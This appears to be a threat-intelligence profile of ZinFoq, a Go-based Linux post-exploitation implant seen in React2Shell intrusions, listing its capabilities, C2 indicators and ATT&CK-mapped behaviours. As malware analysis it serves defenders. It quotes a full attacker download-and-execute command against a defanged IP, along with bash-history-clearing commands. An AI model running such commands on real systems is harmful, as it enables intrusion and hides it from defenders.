ZinFoq
ZinFoq is a Linux ELF post-exploitation implant written in Go and commonly referred to as ZinFoq. Huntress reported it during active exploitation of CVE-2025-55182 (React2Shell) against vulnerable React Server Components / Next.js deployments in December 2025. It was recovered as a statically compiled Go binary, with one reported sample SHA256 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce, and is often dropped as /usr/bin/dockerd-update. Reported capabilities include command execution, interactive and reverse PTY shells, file browsing and exfiltration, file operations, SOCKS5 proxying for network pivoting, TCP port forwarding, timestomping, bash history clearing, and process-name masquerading. It communicates over HTTPS with api.qtss[.]cc using hex-encoded payloads and has been observed using the User-Agent string "Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50" to masquerade as Safari on macOS. Additional reporting describes ZinFoq as a more destructive variant used for sabotage rather than espionage, deployed by a different actor cluster than EtherRAT. Anti-forensics and evasion behaviors attributed to ZinFoq include copying /bin/ls access, modify, and change timestamps onto itself, clearing bash history, disguising itself as legitimate Linux services, and monitoring /proc for analysis tools such as wireshark, tcpdump, strace, and sysdig; if detected, it reportedly self-destructs by wiping memory, deleting its on-disk binary, and exiting. It has been associated with Linux-focused intrusion activity affecting multiple sectors, including construction and entertainment, and YARA coverage has been published for ELF detection.
Associated vulnerabilities
1 CVE Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Techniques & procedures
17 distinct techniques documented for this family, organized by ATT&CK tactic.
Execution
3 techniques
Execution
The commands follow the same methodology: download a shell script, execute it via bash, and in some cases delete the script to remove evidence.
C:\WINDOWS\system32\cmd.exe /d /s /c "wget hxxp://45.76.155[.]14/vim -O /tmp/vim ; chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & wait ; rm -f /tmp/vim"
Attackers have attempted to deploy cryptominer malware, a Linux backdoor we're tracking as PeerBlight, a reverse proxy tunnel we call CowTunnel, and a Go-based post-exploitation implant dubbed ZinFoq as part of their post-exploitation activity.
Stealth
5 techniques
Stealth
The binary copies itself to /bin/systemd-daemon and enables the service using the generic "System Daemon" description.
PeerBlight overwrites argv[0] in memory to hide its original path ... and replaces it with [ksoftirqd].
Finally, the script removes the downloaded temporary file, deletes the dropper script itself, clears the bash command history, and truncates the “.bash_history” file to eliminate evidence of the infection chain.
The implants clears bash history through two methods: “HISTIGNORE=*” prevents any commands from being recorded “history -c” clears the current session's history buffer
We identified a Go-based post-exploitation implant we've dubbed ZinFoq, which features ... timestomping capabilities for anti-forensics.
Discovery
2 techniques
Discovery
The threat actors also executed discovery commands such as whoami and echo $((41*271)) , which we assess was an attempt to probe for command execution capabilities and identify the underlying operating system.
The “explorer” command lists directory contents and returns JSON with file metadata... “explorerfile” reads the entire contents of a specified file...
Lateral Movement
1 technique
Lateral Movement
We identified a Go-based post-exploitation implant we've dubbed ZinFoq, which features interactive reverse shells...
Collection
1 technique
Collection
uploadFile path, file server details Exfiltrates a file from the victim to the C2... explorer_download Exfiltrates a file to the C2.
Command and Control
4 techniques
Command and Control
The payload, which we have named “ ZinFoq ” ... communicates with command-and-control infrastructure at “ api.qtss[.]cc ” over HTTPS using hex-encoded payloads
All C2 traffic uses standard HTTP POST requests with a User-Agent string crafted to masquerade as Safari on macOS
We identified a Go-based post-exploitation implant we've dubbed ZinFoq, which features interactive reverse shells, SOCKS5 proxying for network pivoting...
The threat actor attempted to download multiple payloads from C2 servers... The commands follow the same methodology: download a shell script, execute it via bash...
Exfiltration
1 technique
Exfiltration
All C2 traffic uses standard HTTP POST requests... explorer_download Exfiltrates a file to the C2.
Observables
8 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
4 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.